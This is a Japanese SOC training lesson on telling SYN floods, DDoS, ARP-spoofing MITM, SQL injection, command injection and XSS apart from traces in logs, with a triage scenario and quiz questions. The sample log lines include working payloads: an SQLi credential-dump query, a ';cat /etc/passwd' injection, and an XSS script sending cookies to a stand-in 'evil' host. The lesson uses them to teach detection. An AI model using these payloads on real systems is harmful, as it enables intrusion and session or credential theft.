変更要約: 初版
2.4ネットワーク攻撃とWebアプリ攻撃
プロトコルベース攻撃・DoS・DDoS・中間者(MITM)といったネットワーク攻撃と、SQLインジェクション・コマンドインジェクション・クロスサイトスクリプティング(XSS)といったWebアプリ攻撃を、ログ/pcap/リクエストの痕跡からどの攻撃かを識別する判断として学びます。
SOCアナリストにとって攻撃名は暗記項目ではなく、証跡(ログ・pcap・HTTPリクエスト)に残る特徴から「これは何攻撃か」を読み取るためのラベルです。同じ「サーバが応答しない」でも、大量の半端な接続要求なのか、1本の悪意あるリクエストなのかで攻撃も対処もまったく違います。この節では、ネットワーク層寄りの攻撃(プロトコル悪用・DoS/DDoS・MITM)と、アプリ層の入力を悪用するWeb攻撃(SQLi・コマンドインジェクション・XSS)を、痕跡から識別する視点で整理します。
2.4.1ネットワーク攻撃
- プロトコルベース攻撃=プロトコルの仕様や状態機械の弱点を突く。例:SYNフラッドは3ウェイハンドシェイクの途中(
SYN受信→SYN/ACK返送→ACKが来ない)状態を大量に作り、サーバの接続テーブルを枯渇させる。pcapでは大量のSYNに対し確立(ESTABLISHED)に至らない半開接続が並ぶのが特徴。 - DoS(サービス妨害)=1つ(少数)の発信元から資源を枯渇させ正規利用を妨げる。DDoS(分散型)は多数の分散した発信元(多くはボットネット)から同時に行い、単一IP遮断では止まらない点が本質的な違い。ログでは多数の異なる送信元IPからの同時大量アクセスがDDoSの兆候。緩和はレート制限・上流でのスクラビング・Anycast分散など。
- 中間者攻撃(MITM)=通信経路に割り込み、盗聴・改ざん・なりすましを行う。LAN内ではARPスプーフィング(偽のARP応答で自分を既定ゲートウェイに見せる)で経路を横取りするのが典型。兆候は同一IPに複数MACが対応したり、ゲートウェイのMACが突然変わること。対策は動的ARP検査(DAI)・暗号化・証明書検証(次節s6と接続)。
2.4.2Webアプリ攻撃
- SQLインジェクション(SQLi)=入力欄にSQL断片を注入し、DBに意図しないクエリを実行させる。痕跡は入力やURLに
' OR '1'='1、UNION SELECT、--(コメント)といったSQL構文が現れること。認証回避・データ窃取・改ざんに至る。対策はパラメータ化クエリ(プリペアドステートメント)と入力検証。 - コマンドインジェクション=Webアプリが入力をOSコマンドに渡す箇所で、
;・|・&&などで追加のOSコマンドを注入する。痕跡は入力に; cat /etc/passwdや| whoamiのようなシェル構文が現れること。サーバ上で任意コマンドが走るため危険度が高い。対策は入力の無害化とコマンド実行の回避/制限。 - クロスサイトスクリプティング(XSS)=Webページに悪意あるスクリプト(多くはJavaScript)を注入し、それを閲覧した他ユーザのブラウザで実行させる(クッキー窃取・セッション乗っ取り等)。痕跡は入力/パラメータに
<script>やonerror=等が現れ、反射的にページへ戻ること。SQLiがサーバ側DBを狙うのに対しXSSは他の利用者(クライアント側)を狙う点が本質的な違い。対策は出力エンコードとContent Security Policy(CSP)。
「SYNフラッド=半開接続の大量発生」「DoS=少数発信元/DDoS=多数分散発信元(単一IP遮断で止まらない)」「MITM=ARPスプーフィングで経路横取り(1IPに複数MAC)」「SQLi='OR'1'='1/UNION SELECT(サーバDB狙い)」「コマンドインジェクション=;や|でOSコマンド注入」「XSS=<script>注入で他ユーザのブラウザ実行(クライアント狙い)」が頻出です。痕跡の形から攻撃を即断できるように。
あなたはWebサーバのアクセスログをトリアージしています。1件目:GET /product?id=10' OR '1'='1 というリクエストが、通常は数件しか返さない商品APIから異常に大量の行が返り、直後に UNION SELECT username,password FROM users-- が続いていました。これはSQLインジェクションで、攻撃者はDBに直接不正クエリを流し、認証情報を抜こうとしています——狙いはサーバ側のDBです。対処は該当パラメータの遮断、パラメータ化クエリへの改修、漏えい範囲の確認。2件目:GET /search?q=<script>document.location='http://evil/?c='+document.cookie</script> がそのまま検索結果ページに反射(echo)されていました。これはXSSで、狙いはDBではなくこのページを見た他の利用者のブラウザ——クッキーを攻撃者サイトへ送らせセッションを乗っ取ろうとしています。SQLiと痕跡が似て見えても、<script>が返され他ユーザ側で実行される点でXSSと識別できます。3件目:GET /ping?host=8.8.8.8;cat /etc/passwd は、pingツールの入力に ; でOSコマンドを継ぎ足すコマンドインジェクションで、サーバ上で任意コマンドが走る最も危険な部類です。同じ「怪しいリクエスト」でも、注入されている構文(SQL構文か・<script>か・シェルの;/|か)と、実行される場所(DBか・他ユーザのブラウザか・サーバOSか)で攻撃を切り分けるのがトリアージの核心です。一方、別のアラートでは多数の異なる送信元IPから同時に大量のリクエストが来てサーバが応答不能でした。これは単一IP遮断で止まらないDDoSで、Webアプリの入力悪用(SQLi等)とは対処が根本的に異なり、レート制限・上流スクラビング・分散が必要です。攻撃の識別を誤ると対処も丸ごと外すため、痕跡の読み分けは実務のトリアージそのものです。
| 攻撃 | 痕跡/兆候 | 狙い/影響 |
|---|---|---|
| SYNフラッド(プロトコル) | 大量の半開接続(ACK来ない) | 接続テーブル枯渇でサービス妨害 |
| DDoS | 多数の異なる送信元IPの同時大量アクセス | 資源枯渇・単一IP遮断で止まらない |
| MITM(ARPスプーフィング) | 1IPに複数MAC・GW MAC変化 | 盗聴・改ざん・なりすまし |
| SQLi | 'OR'1'='1・UNION SELECT・-- | サーバDBの認証回避/窃取 |
| コマンドインジェクション | ; | && で追加OSコマンド | サーバ上で任意コマンド実行 |
| XSS | <script>/onerror= がページに反射 | 他ユーザのブラウザで実行(クッキー窃取等) |
ひっかけ: 「XSSもSQLiもWeb攻撃だから狙いは同じ(サーバのDB)」は誤りです——SQLiはサーバ側のDBを狙うのに対し、XSSは注入スクリプトを他の利用者のブラウザ(クライアント側)で実行させます。また「大量アクセスは送信元IPを1つ遮断すれば止まる」も誤り=DDoSは多数の分散した発信元から来るため単一IP遮断では止まらず、レート制限・上流スクラビング・分散緩和が要ります。
2.4.3この節のまとめ
- プロトコル攻撃(SYNフラッド)は半開接続の大量発生、DoS/DDoSは資源枯渇で、DDoSは多数分散発信元ゆえ単一IP遮断で止まらない
- MITMはARPスプーフィング等で経路を横取り(1IPに複数MAC)。暗号化・DAI・証明書検証で防ぐ
- Web攻撃は注入構文と実行場所で識別:SQLiはサーバDB、コマンドインジェクションはサーバOS、XSSは他ユーザのブラウザを狙う
進捗の記録にはログインが必要です。
理解度チェック
(軽い確認用)Q1. Webサーバのアクセスログに GET /search?q=<script>document.location='http://evil/?c='+document.cookie</script> があり、この値が検索結果ページにそのまま反射されていた。この攻撃の識別と本質的な狙いとして最も適切なものはどれか。
Q2. あるサービスが応答不能になり、ログを見ると短時間に非常に多くの異なる送信元IPから同時に大量のリクエストが来ている。単一の送信元IPを遮断しても状況が改善しない。この攻撃の識別と適切な緩和として最も妥当なものはどれか。
Q3. LAN内の複数端末から「通信が盗聴・改ざんされている疑い」があり、スイッチのテーブルを調べると既定ゲートウェイのIPアドレスに対して短時間で複数の異なるMACアドレスが対応していた。この兆候が最も強く示す攻撃はどれか。

